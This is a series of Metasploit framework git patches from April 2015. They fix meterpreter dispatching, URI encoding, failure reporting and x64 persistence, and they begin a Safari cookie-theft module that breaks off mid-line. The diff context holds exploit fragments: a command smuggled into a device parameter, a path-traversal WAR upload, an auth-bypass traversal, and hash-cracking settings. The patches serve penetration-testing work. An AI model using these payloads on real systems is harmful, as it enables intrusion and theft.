a/lib/rex/post/meterpreter/packet_dispatcher.rb +++ b/lib/rex/post/meterpreter/packet_dispatcher.rb @@ -81,6 +81,11 @@ module PacketDispatcher return if not self.passive_service self.passive_service.remove_resource("/" + self.conn_id + "/") + # If there are no more resources registered on the service, stop it entirely + if self.passive_service.resources.empty? + Rex::ServiceManager.stop_service(self.passive_service) + end + self.alive = false self.send_queue = [] self.recv_queue = [] From 3107d99b9a99b59b04556c76392c6ea2b4f6dd02 Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Fri, 17 Apr 2015 03:16:17 -0500 Subject: [PATCH 60/92] Use the same URI that was registered when we deregister The original URI is registered as '/foobar/' but is deregistered as '//foobar/', causing it to never get deregistered. Changing this fixes unregistration of the service handler for staged payloads, but stageless doesn't work properly if the URI actually gets deregistered. --- lib/rex/post/meterpreter/packet_dispatcher.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/rex/post/meterpreter/packet_dispatcher.rb b/lib/rex/post/meterpreter/packet_dispatcher.rb index ffe850bd50..c2ac0e787c 100644 --- a/lib/rex/post/meterpreter/packet_dispatcher.rb +++ b/lib/rex/post/meterpreter/packet_dispatcher.rb @@ -79,7 +79,7 @@ module PacketDispatcher def shutdown_passive_dispatcher return if not self.passive_service - self.passive_service.remove_resource("/" + self.conn_id + "/") + self.passive_service.remove_resource(self.conn_id + "/") # If there are no more resources registered on the service, stop it entirely if self.passive_service.resources.empty? From 6c77b64daeb2966794a3c1cf757c1b80a45d4863 Mon Sep 17 00:00:00 2001 From: Christian Mehlmauer Date: Fri, 17 Apr 2015 11:20:14 +0200 Subject: [PATCH 61/92] wrong method name --- modules/auxiliary/scanner/http/wp_dukapress_file_read.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/wp_dukapress_file_read.rb b/modules/auxiliary/scanner/http/wp_dukapress_file_read.rb index 95d88ecc57..36217b7710 100644 --- a/modules/auxiliary/scanner/http/wp_dukapress_file_read.rb +++ b/modules/auxiliary/scanner/http/wp_dukapress_file_read.rb @@ -42,8 +42,9 @@ class Metasploit3 < Msf::Auxiliary end def check - check_plugin_from_readme('dukapress', '2.5.7') + check_plugin_version_from_readme('dukapress', '2.5.7') end + def run_host(ip) traversal = "../" * datastore['DEPTH'] filename = datastore['FILEPATH'] From 15eef6e8deb9936b5490c29d9e94c29ebba4e31f Mon Sep 17 00:00:00 2001 From: Meatballs Date: Fri, 17 Apr 2015 11:43:07 +0100 Subject: [PATCH 62/92] Dont fork on OSX --- data/meterpreter/meterpreter.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/data/meterpreter/meterpreter.py b/data/meterpreter/meterpreter.py index 5f36b8241e..fe1dd3fc87 100644 --- a/data/meterpreter/meterpreter.py +++ b/data/meterpreter/meterpreter.py @@ -749,7 +749,7 @@ class PythonMeterpreter(object): resp = struct.pack('>I', len(resp) + 4) + resp return resp -if not hasattr(os, 'fork') or (hasattr(os, 'fork') and os.fork() == 0): +if not hasattr(os, 'fork') or has_osxsc or (hasattr(os, 'fork') and os.fork() == 0): if hasattr(os, 'setsid'): try: os.setsid() From e3ce4eb88e42745e928262615c468baa7c87f462 Mon Sep 17 00:00:00 2001 From: karllll Date: Fri, 17 Apr 2015 09:47:02 -0400 Subject: [PATCH 63/92] Update mcafee_vse_hashdump.rb --- .../post/windows/gather/credentials/mcafee_vse_hashdump.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/post/windows/gather/credentials/mcafee_vse_hashdump.rb b/modules/post/windows/gather/credentials/mcafee_vse_hashdump.rb index 6a33a35ba9..87d870ebc4 100644 --- a/modules/post/windows/gather/credentials/mcafee_vse_hashdump.rb +++ b/modules/post/windows/gather/credentials/mcafee_vse_hashdump.rb @@ -21,9 +21,9 @@ class Metasploit3 < Msf::Post 'Name' => 'McAfee Virus Scan Enterprise Password Hashes Dump', 'Description' => %q( This module extracts the password hash from McAfee Virus Scan Enterprise (VSE) - used to lock down the user interface. Hashcat supports cracking this type of - hash using hash type sha1($salt.unicode($pass)) (-m 140) and a hex salt - (--hex-salt) of 01000f000d003300 (unicode "\x01\x0f\x0d\x33"). A dynamic + used to lock down the user interface. Hashcat supports cracking this type of + hash using hash type sha1($salt.unicode($pass)) (-m 140) and a hex salt + (--hex-salt) of 01000f000d003300 (unicode "\x01\x0f\x0d\x33"). A dynamic format is available for John the Ripper at the referenced URL. ), 'License' => MSF_LICENSE, From 4f903a604c660bc4da93f1136587e5c5596b7f34 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 17 Apr 2015 13:59:49 -0500 Subject: [PATCH 64/92] Fix #5103, Revert unwanted URI encoding Fix #5103. By default, Httpclient will encode the URI but we don't necessarily want that. These modules originally didn't use URI encoding when they were written so we should just keep them that way. --- modules/auxiliary/scanner/sap/sap_soap_bapi_user_create1.rb | 1 + modules/auxiliary/scanner/sap/sap_soap_rfc_brute_login.rb | 1 + .../sap/sap_soap_rfc_dbmcli_sxpg_call_system_command_exec.rb | 1 + .../scanner/sap/sap_soap_rfc_dbmcli_sxpg_command_exec.rb | 1 + modules/auxiliary/scanner/sap/sap_soap_rfc_ping.rb | 1 + modules/auxiliary/scanner/sap/sap_soap_rfc_read_table.rb | 1 + .../scanner/sap/sap_soap_rfc_susr_rfc_user_interface.rb | 1 + .../scanner/sap/sap_soap_rfc_sxpg_call_system_exec.rb | 1 + .../auxiliary/scanner/sap/sap_soap_rfc_sxpg_command_exec.rb | 1 + modules/auxiliary/scanner/sap/sap_soap_rfc_system_info.rb | 1 + modules/auxiliary/scanner/sap/sap_soap_th_saprel_disclosure.rb | 1 + modules/exploits/linux/http/openfiler_networkcard_exec.rb | 1 + modules/exploits/linux/http/sophos_wpa_iface_exec.rb | 1 + modules/exploits/linux/http/zen_load_balancer_exec.rb | 1 + modules/exploits/multi/http/hyperic_hq_script_console.rb | 3 +++ modules/exploits/multi/http/openfire_auth_bypass.rb | 2 ++ modules/exploits/windows/http/adobe_robohelper_authbypass.rb | 1 + modules/exploits/windows/http/desktopcentral_file_upload.rb | 1 + modules/exploits/windows/http/hp_nnm_ovalarm_lang.rb | 1 + modules/exploits/windows/http/sybase_easerver.rb | 1 + modules/exploits/windows/http/zenworks_uploadservlet.rb | 3 ++- 21 files changed, 25 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/sap/sap_soap_bapi_user_create1.rb b/modules/auxiliary/scanner/sap/sap_soap_bapi_user_create1.rb index 036ef00b1e..e3398ad301 100644 --- a/modules/auxiliary/scanner/sap/sap_soap_bapi_user_create1.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_bapi_user_create1.rb @@ -81,6 +81,7 @@ class Metasploit4 < Msf::Auxiliary 'headers' => { 'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions', }, + 'encode_params' => false, 'vars_get' => { 'sap-client' => datastore['CLIENT'], 'sap-language' => 'EN' diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_brute_login.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_brute_login.rb index ca33d03a2b..0e42d39ce5 100644 --- a/modules/auxiliary/scanner/sap/sap_soap_rfc_brute_login.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_brute_login.rb @@ -123,6 +123,7 @@ class Metasploit4 < Msf::Auxiliary 'cookie' => "sap-usercontext=sap-language=EN&sap-client=#{client}", 'ctype' => 'text/xml; charset=UTF-8', 'authorization' => basic_auth(username, password), + 'encode_params' => false, 'headers' => { 'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions', diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_call_system_command_exec.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_call_system_command_exec.rb index 4a13a19a85..cd8e52f1ee 100644 --- a/modules/auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_call_system_command_exec.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_call_system_command_exec.rb @@ -102,6 +102,7 @@ class Metasploit4 < Msf::Auxiliary 'headers' => { 'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions', }, + 'encode_params' => false, 'vars_get' => { 'sap-client' => datastore['CLIENT'], 'sap-language' => 'EN' diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_command_exec.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_command_exec.rb index a223de64af..05bbe78ec4 100644 --- a/modules/auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_command_exec.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_command_exec.rb @@ -103,6 +103,7 @@ class Metasploit4 < Msf::Auxiliary 'headers' => { 'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions', }, + 'encode_params' => false, 'vars_get' => { 'sap-client' => datastore['CLIENT'], 'sap-language' => 'EN' diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_ping.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_ping.rb index 5d5879910d..95a48c4de8 100644 --- a/modules/auxiliary/scanner/sap/sap_soap_rfc_ping.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_ping.rb @@ -71,6 +71,7 @@ class Metasploit4 < Msf::Auxiliary 'headers' => { 'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions' }, + 'encode_params' => false, 'vars_get' => { 'sap-client' => client, 'sap-language' => 'EN' diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_read_table.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_read_table.rb index a4a058907c..f699e19db8 100644 --- a/modules/auxiliary/scanner/sap/sap_soap_rfc_read_table.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_read_table.rb @@ -89,6 +89,7 @@ class Metasploit4 < Msf::Auxiliary 'cookie' => "sap-usercontext=sap-language=EN&sap-client=#{datastore['CLIENT']}", 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']), 'ctype' => 'text/xml; charset=UTF-8', + 'encode_params' => false, 'headers' => { 'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions', }, diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_susr_rfc_user_interface.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_susr_rfc_user_interface.rb index da1c3e8ec5..833901c516 100644 --- a/modules/auxiliary/scanner/sap/sap_soap_rfc_susr_rfc_user_interface.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_susr_rfc_user_interface.rb @@ -75,6 +75,7 @@ class Metasploit4 < Msf::Auxiliary 'data' => data, 'cookie' => "sap-usercontext=sap-language=EN&sap-client=#{datastore['CLIENT']}", 'ctype' => 'text/xml; charset=UTF-8', + 'encode_params' => false, 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']), 'headers' => { 'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions' diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_sxpg_call_system_exec.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_sxpg_call_system_exec.rb index ba75d84c16..0091f41be4 100644 --- a/modules/auxiliary/scanner/sap/sap_soap_rfc_sxpg_call_system_exec.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_sxpg_call_system_exec.rb @@ -78,6 +78,7 @@ class Metasploit4 < Msf::Auxiliary 'data' => data, 'cookie' => "sap-usercontext=sap-language=EN&sap-client=#{datastore['CLIENT']}", 'ctype' => 'text/xml; charset=UTF-8', + 'encode_params' => false, 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']), 'headers' => { 'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions', diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_sxpg_command_exec.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_sxpg_command_exec.rb index 5536963dfc..0480f0b23d 100644 --- a/modules/auxiliary/scanner/sap/sap_soap_rfc_sxpg_command_exec.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_sxpg_command_exec.rb @@ -78,6 +78,7 @@ class Metasploit4 < Msf::Auxiliary 'data' => data, 'cookie' => "sap-usercontext=sap-language=EN&sap-client=#{datastore['CLIENT']}", 'ctype' => 'text/xml; charset=UTF-8', + 'encode_params' => false, 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']), 'headers' =>{ 'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions', diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_system_info.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_system_info.rb index 7e7f34eaa2..5cfe258ca9 100644 --- a/modules/auxiliary/scanner/sap/sap_soap_rfc_system_info.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_system_info.rb @@ -94,6 +94,7 @@ class Metasploit4 < Msf::Auxiliary 'data' => data, 'cookie' => "sap-usercontext=sap-language=EN&sap-client=#{datastore['CLIENT']}", 'ctype' => 'text/xml; charset=UTF-8', + 'encode_params' => false, 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']), 'headers' =>{ 'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions', diff --git a/modules/auxiliary/scanner/sap/sap_soap_th_saprel_disclosure.rb b/modules/auxiliary/scanner/sap/sap_soap_th_saprel_disclosure.rb index 2f445ed5f9..a9400633cf 100644 --- a/modules/auxiliary/scanner/sap/sap_soap_th_saprel_disclosure.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_th_saprel_disclosure.rb @@ -69,6 +69,7 @@ class Metasploit4 < Msf::Auxiliary 'data' => data, 'cookie' => "sap-usercontext=sap-language=EN&sap-client=#{datastore['CLIENT']}", 'ctype' => 'text/xml; charset=UTF-8', + 'encode_params' => false, 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']), 'headers' => { 'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions', diff --git a/modules/exploits/linux/http/openfiler_networkcard_exec.rb b/modules/exploits/linux/http/openfiler_networkcard_exec.rb index 564c529733..806a86b0f8 100644 --- a/modules/exploits/linux/http/openfiler_networkcard_exec.rb +++ b/modules/exploits/linux/http/openfiler_networkcard_exec.rb @@ -105,6 +105,7 @@ class Metasploit3 < Msf::Exploit::Remote res = send_request_cgi({ 'uri' => '/admin/system.html', 'cookie' => "usercookie=#{user}; passcookie=#{pass};", + 'encode_params' => false, 'vars_get' => { 'step' => '2', 'device' => "lo#{cmd}" diff --git a/modules/exploits/linux/http/sophos_wpa_iface_exec.rb b/modules/exploits/linux/http/sophos_wpa_iface_exec.rb index bc54edf9b9..d06f0ab552 100644 --- a/modules/exploits/linux/http/sophos_wpa_iface_exec.rb +++ b/modules/exploits/linux/http/sophos_wpa_iface_exec.rb @@ -102,6 +102,7 @@ class Metasploit3 < Msf::Exploit::Remote login = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, '/index.php'), 'method' => 'POST', + 'encode_params' => false, 'vars_post' => post, 'vars_get' => { 'c' => 'login', diff --git a/modules/exploits/linux/http/zen_load_balancer_exec.rb b/modules/exploits/linux/http/zen_load_balancer_exec.rb index 1d6dfc7082..f4cfd0765d 100644 --- a/modules/exploits/linux/http/zen_load_balancer_exec.rb +++ b/modules/exploits/linux/http/zen_load_balancer_exec.rb @@ -97,6 +97,7 @@ class Metasploit3 < Msf::Exploit::Remote res = send_request_cgi({ 'uri' => '/index.cgi', 'authorization' => basic_auth(user, pass), + 'encode_params' => false, 'vars_get' => { 'nlines' => lines, 'action' => 'See logs', diff --git a/modules/exploits/multi/http/hyperic_hq_script_console.rb b/modules/exploits/multi/http/hyperic_hq_script_console.rb index cd58948eb1..6deb124231 100644 --- a/modules/exploits/multi/http/hyperic_hq_script_console.rb +++ b/modules/exploits/multi/http/hyperic_hq_script_console.rb @@ -66,6 +66,7 @@ class Metasploit3 < Msf::Exploit::Remote 'uri' => normalize_uri(@uri.path, 'j_spring_security_check'), 'method' => 'POST', 'cookie' => @cookie, + 'encode_params' => false, 'vars_post' => { 'j_username' => Rex::Text.uri_encode(user, 'hex-normal'), 'j_password' => Rex::Text.uri_encode(pass, 'hex-normal'), @@ -86,6 +87,7 @@ class Metasploit3 < Msf::Exploit::Remote res = send_request_cgi({ 'uri' => normalize_uri(@uri.path, 'mastheadAttach.do'), 'cookie' => @cookie, + 'encode_params' => false, 'vars_get' => { 'typeId' => '10003' } @@ -144,6 +146,7 @@ class Metasploit3 < Msf::Exploit::Remote 'method' => 'POST', 'uri' => normalize_uri(@uri.path, 'hqu/gconsole/console/execute.hqu?org.apache.catalina.filters.CSRF_NONCE=')+@nonce, 'cookie' => @cookie, + 'encode_params' => false, 'vars_post' => { 'code' => java # java_craft_runtime_exec(cmd) } diff --git a/modules/exploits/multi/http/openfire_auth_bypass.rb b/modules/exploits/multi/http/openfire_auth_bypass.rb index 74af22b861..d18396ba80 100644 --- a/modules/exploits/multi/http/openfire_auth_bypass.rb +++ b/modules/exploits/multi/http/openfire_auth_bypass.rb @@ -184,6 +184,7 @@ class Metasploit3 < Msf::Exploit::Remote 'uri' => normalize_uri(base, 'setup/setup-/../../plugin-admin.jsp'), 'method' => 'POST', 'data' => data, + 'encode_params' => false, 'headers' => { 'Content-Type' => 'multipart/form-data; boundary=' + boundary, 'Content-Length' => data.length, @@ -202,6 +203,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("Deleting plugin #{plugin_name} from the server") res = send_request_cgi({ 'uri' => normalize_uri(base, 'setup/setup-/../../plugin-admin.jsp'), + 'encode_params' => false, 'headers' => { 'Cookie' => "JSESSIONID=#{rand_text_numeric(13)}", }, diff --git a/modules/exploits/windows/http/adobe_robohelper_authbypass.rb b/modules/exploits/windows/http/adobe_robohelper_authbypass.rb index e66d0fc578..0d3a53e3de 100644 --- a/modules/exploits/windows/http/adobe_robohelper_authbypass.rb +++ b/modules/exploits/windows/http/adobe_robohelper_authbypass.rb @@ -71,6 +71,7 @@ class Metasploit3 < Msf::Exploit::Remote 'uri' => '/robohelp/server', 'version' => '1.1', 'method' => 'POST', + 'encode_params' => false, 'data' => file, 'headers' => { 'Content-Type' => 'multipart/form-data; boundary=---------------------------' + uid, diff --git a/modules/exploits/windows/http/desktopcentral_file_upload.rb b/modules/exploits/windows/http/desktopcentral_file_upload.rb index fc0722815c..040045c4b4 100644 --- a/modules/exploits/windows/http/desktopcentral_file_upload.rb +++ b/modules/exploits/windows/http/desktopcentral_file_upload.rb @@ -54,6 +54,7 @@ class Metasploit3 < Msf::Exploit::Remote 'method' => 'POST', 'data' => contents, 'ctype' => 'text/html', + 'encode_params' => false, 'vars_get' => { 'computerName' => 'DesktopCentral', 'domainName' => 'webapps', diff --git a/modules/exploits/windows/http/hp_nnm_ovalarm_lang.rb b/modules/exploits/windows/http/hp_nnm_ovalarm_lang.rb index c292f784e3..867dd837c6 100644 --- a/modules/exploits/windows/http/hp_nnm_ovalarm_lang.rb +++ b/modules/exploits/windows/http/hp_nnm_ovalarm_lang.rb @@ -85,6 +85,7 @@ class Metasploit3 < Msf::Exploit::Remote send_request_cgi({ 'uri' => '/OvCgi/ovalarm.exe', 'method' => "GET", + 'encode_params' => false, 'headers' => { 'Accept-Language' => sploit }, diff --git a/modules/exploits/windows/http/sybase_easerver.rb b/modules/exploits/windows/http/sybase_easerver.rb index 64b487df50..e25b6b7075 100644 --- a/modules/exploits/windows/http/sybase_easerver.rb +++ b/modules/exploits/windows/http/sybase_easerver.rb @@ -70,6 +70,7 @@ class Metasploit3 < Msf::Exploit::Remote res = send_request_cgi({ 'uri' => normalize_uri(datastore['DIR'], 'Login.jsp'), 'method' => 'GET', + 'encode_params' => false, 'headers' => { 'Accept' => '*/*', }, diff --git a/modules/exploits/windows/http/zenworks_uploadservlet.rb b/modules/exploits/windows/http/zenworks_uploadservlet.rb index 3772352100..3a4eecf03c 100644 --- a/modules/exploits/windows/http/zenworks_uploadservlet.rb +++ b/modules/exploits/windows/http/zenworks_uploadservlet.rb @@ -73,6 +73,7 @@ class Metasploit3 < Msf::Exploit::Remote 'headers' => { 'Content-Type' => 'application/octet-stream', }, + 'encode_params' => false, 'vars_get' => { 'filename' => "../../webapps/#{app_base}.war" } @@ -82,7 +83,7 @@ class Metasploit3 < Msf::Exploit::Remote select(nil, nil, nil, 20) - if (res.code == 200) + if (res && res.code == 200) print_status("Triggering payload at '/#{app_base}/#{jsp_name}.jsp' ...") send_request_raw( { From 37613adebbe4bf4552d86e983b6a71a5628b9c32 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 17 Apr 2015 15:55:22 -0500 Subject: [PATCH 65/92] Improve developer experience for fail_with The fail_with for an exploit is used differently than a non-exploit, so it would be nice to document about this. Also, be strict about the reason for the exploit one, because this can affect other components of Metasploit. --- lib/msf/core/exploit.rb | 25 +++++++++++++++++++++++-- lib/msf/core/module.rb | 13 ++++++++++++- 2 files changed, 35 insertions(+), 3 deletions(-) diff --git a/lib/msf/core/exploit.rb b/lib/msf/core/exploit.rb index a8c4fe8220..323b40f5c3 100644 --- a/lib/msf/core/exploit.rb +++ b/lib/msf/core/exploit.rb @@ -1218,10 +1218,31 @@ class Exploit < Msf::Module # Failure tracking ## + # Raises a Msf::Exploit::Failed exception. It overrides the fail_with method + # in lib/msf/core/module.rb + # + # @param reason [String] A constant from Msf::Module::Failure. + # If the reason does not come from there, then it will default to + # Msf::Module::Failure::Unknown. + # @param mssg [String] (Optional) A message about the failure. + # @raise [Msf::Exploit::Failed] A custom Msf::Exploit::Failed exception. + # @return [void] + # @see Msf::Module::Failure + # @see Msf::Module#fail_with + # @example + # fail_with(Msf::Module::Failure::NoAccess, 'Unable to login to upload payload') def fail_with(reason,msg=nil) - self.fail_reason = reason + # The reason being registered here will be used later on, so it's important we don't actually + # provide a made-up one. + allowed_values = Msf::Module::Failure.constants.collect {|e| Msf::Module::Failure.const_get(e)} + if allowed_values.include?(reason) + self.fail_reason = reason + else + self.fail_reason = Msf::Module::Failure::Unknown + end + self.fail_detail = msg - raise Msf::Exploit::Failed, (msg || "No reason given") + raise Msf::Exploit::Failed, (msg || "No failure message given") end def report_failure diff --git a/lib/msf/core/module.rb b/lib/msf/core/module.rb index cc82ef9e01..de3320f4a1 100644 --- a/lib/msf/core/module.rb +++ b/lib/msf/core/module.rb @@ -276,7 +276,18 @@ class Module end # - # Support fail_with for all module types, allow specific classes to override + # Raises a RuntimeError failure message. This is meant to be used for all non-exploits, + # and allows specific classes to override. + # + # @param reason [String] A reason about the failure. + # @param msg [String] (Optional) A message about the failure. + # @raise [RuntimeError] + # @return [void] + # @note If you are writing an exploit, you don't use this API. Instead, please refer to the + # API documentation from lib/msf/core/exploit.rb. + # @see Msf::Exploit#fail_with + # @example + # fail_with('No Access', 'Unable to login') # def fail_with(reason, msg=nil) raise RuntimeError, "#{reason.to_s}: #{msg}" From c1a1143377e7e0eb5b90022d047dcc23afaa459d Mon Sep 17 00:00:00 2001 From: Roberto Soares Date: Sat, 18 Apr 2015 15:38:42 -0300 Subject: [PATCH 66/92] Remove line in description and output line in fail_with --- modules/exploits/unix/webapp/wp_slideshowgallery_upload.rb | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/modules/exploits/unix/webapp/wp_slideshowgallery_upload.rb b/modules/exploits/unix/webapp/wp_slideshowgallery_upload.rb index 911a94d9d6..03f5405963 100644 --- a/modules/exploits/unix/webapp/wp_slideshowgallery_upload.rb +++ b/modules/exploits/unix/webapp/wp_slideshowgallery_upload.rb @@ -19,8 +19,7 @@ class Metasploit3 < Msf::Exploit::Remote The Wordpress SlideShow Gallery plugin contains an authenticated file upload vulnerability. We can upload arbitrary files to the upload folder, because the plugin also uses it's own file upload mechanism instead of the wordpress - api it's possible to upload any file type. The user provided does not need - special rights, and users with "Contributor" role can be abused. + api it's possible to upload any file type. }, 'Author' => [ @@ -103,7 +102,7 @@ class Metasploit3 < Msf::Exploit::Remote if res.code == 200 register_files_for_cleanup(filename) else - fail_with(Failure::Unknown, "#{peer} - Unable to deploy payload, server returned #{res.code}") + fail_with(Failure::Unknown, "#{peer} - You do not have sufficient permissions to access this page.") end else fail_with(Failure::Unknown, 'Server did not respond in an expected way') From e7babc4acbb570137befe86ce18a8fe02205856d Mon Sep 17 00:00:00 2001 From: OJ Date: Sun, 19 Apr 2015 12:41:51 +1000 Subject: [PATCH 67/92] Fix persistence script to support x64 payloads --- lib/msf/util/exe.rb | 4 ++++ scripts/meterpreter/persistence.rb | 24 +++++++++++++++++------- 2 files changed, 21 insertions(+), 7 deletions(-) diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index 3e1f19860e..b7ecaaeafe 100644 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -1121,6 +1121,10 @@ require 'msf/core/exe/segment_appender' to_exe_vbs(to_win32pe(framework, code, opts), opts) end + def self.to_win64pe_vbs(framework, code, opts = {}) + to_exe_vbs(to_win64pe(framework, code, opts), opts) + end + # Creates a jar file that drops the provided +exe+ into a random file name # in the system's temp dir and executes it. # diff --git a/scripts/meterpreter/persistence.rb b/scripts/meterpreter/persistence.rb index a7bd54066b..f9edcd7f90 100644 --- a/scripts/meterpreter/persistence.rb +++ b/scripts/meterpreter/persistence.rb @@ -72,13 +72,23 @@ end # Function for Creating persistent script #------------------------------------------------------------------------------- -def create_script(delay,altexe,raw) - if altexe - vbs = ::Msf::Util::EXE.to_win32pe_vbs(@client.framework, raw, - {:persist => true, :delay => delay, :template => altexe}) +def create_script(delay,altexe,raw,is_x64) + if is_x64 + if altexe + vbs = ::Msf::Util::EXE.to_win64pe_vbs(@client.framework, raw, + {:persist => true, :delay => delay, :template => altexe}) + else + vbs = ::Msf::Util::EXE.to_win64pe_vbs(@client.framework, raw, + {:persist => true, :delay => delay}) + end else - vbs = ::Msf::Util::EXE.to_win32pe_vbs(@client.framework, raw, - {:persist => true, :delay => delay}) + if altexe + vbs = ::Msf::Util::EXE.to_win32pe_vbs(@client.framework, raw, + {:persist => true, :delay => delay, :template => altexe}) + else + vbs = ::Msf::Util::EXE.to_win32pe_vbs(@client.framework, raw, + {:persist => true, :delay => delay}) + end end print_status("Persistent agent script is #{vbs.length} bytes long") return vbs @@ -224,7 +234,7 @@ print_status("Running Persistance Script") print_status("Resource file for cleanup created at #{@clean_up_rc}") # Create and Upload Payload raw = create_payload(payload_type, rhost, rport) -script = create_script(delay, altexe, raw) +script = create_script(delay, altexe, raw, payload_type.include?('/x64/')) script_on_target = write_script_to_target(target_dir, script) # Start Multi/Handler From 2010e966b3d00fe7dbfafc4d34a1ecaba51c4f8a Mon Sep 17 00:00:00 2001 From: joev Date: Sat, 18 Apr 2015 14:13:09 -0500 Subject: [PATCH 68/92] Add non-httponly cookie theft module for ios/osx safari. --- .../gather/android_object_tag_webview_uxss.rb | 2 +- .../apple_safari_ftp_url_cookie_theft.rb | 267 ++++++++++++++++++ 2 files changed, 268 insertions(+), 1 deletion(-) create mode 100644 modules/auxiliary/gather/apple_safari_ftp_url_cookie_theft.rb diff --git a/modules/auxiliary/gather/android_object_tag_webview_uxss.rb b/modules/auxiliary/gather/android_object_tag_webview_uxss.rb index 38b58a7d80..bebf1f081f 100644 --- a/modules/auxiliary/gather/android_object_tag_webview_uxss.rb +++ b/modules/auxiliary/gather/android_object_tag_webview_uxss.rb @@ -117,7 +117,7 @@ class Metasploit3 < Msf::Auxiliary begin response = JSON.parse(request.body) rescue JSON::ParserError - print_bad "Invalid JSON request." + print_error "Invalid JSON request." else url = response['url'] if response && url diff --git a/modules/auxiliary/gather/apple_safari_ftp_url_cookie_theft.rb b/modules/auxiliary/gather/apple_safari_ftp_url_cookie_theft.rb new file mode 100644 index 0000000000..00d13e0fab --- /dev/null +++ b/modules/auxiliary/gather/apple_safari_ftp_url_cookie_theft.rb @@ -0,0 +1,267 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex/service_manager' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::FtpServer + include Msf::Auxiliary::Report + + def initialize(info={}) + super(update_info(info, + 'Name' => "Apple OSX/iOS/Windows Safari Non-HTTPOnly Cookie Theft", + 'Description' => %q{ + A vulnerability exists in versions of OSX/iOS/Windows Safari released + before April 8, 2015 that allows the non-HTTPOnly cookies of any + domain to be stolen. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Jouko Pynnonen', # Initial discovery and disclosure + 'joev', # msf module + ], + 'References' => [ + [ 'CVE', '2015-1126' ], + [ 'URL', 'http://seclists.org/fulldisclosure/2015/Apr/30' ] + ], + 'Actions' => [ [ 'WebServer' ] ], + 'PassiveActions' => [ 'WebServer' ], + 'DefaultAction' => 'WebServer', + 'DisclosureDate' => "Apr 8 2015" + )) + + register_options([ + OptString.new("URIPATH", [false, 'The URI to use for this exploit (default is random)']), + OptPort.new('SRVPORT', [true, "The local port to use for the FTP server", 5555 ]), + OptPort.new('HTTPPORT', [true, "The HTTP server port", 8080]), + OptString.new('TARGET_DOMAINS', [ + true, + "The comma-separated list of domains to steal non-HTTPOnly cookies from.", + 'apple.com,example.com' + ]) + ], self.class ) + end + + + # + # Start the FTP aand HTTP server + # + def run + start_service + print_status("Local FTP: #{lookup_lhost}:#{datastore['SRVPORT']}") + start_http + end + + + # + # Handle the HTTP request and return a response. Code borrorwed from: + # msf/core/exploit/http/server.rb + # + def start_http(opts={}) + # Ensture all dependencies are present before initializing HTTP + use_zlib + + comm = datastore['ListenerComm'] + if (comm.to_s == "local") + comm = 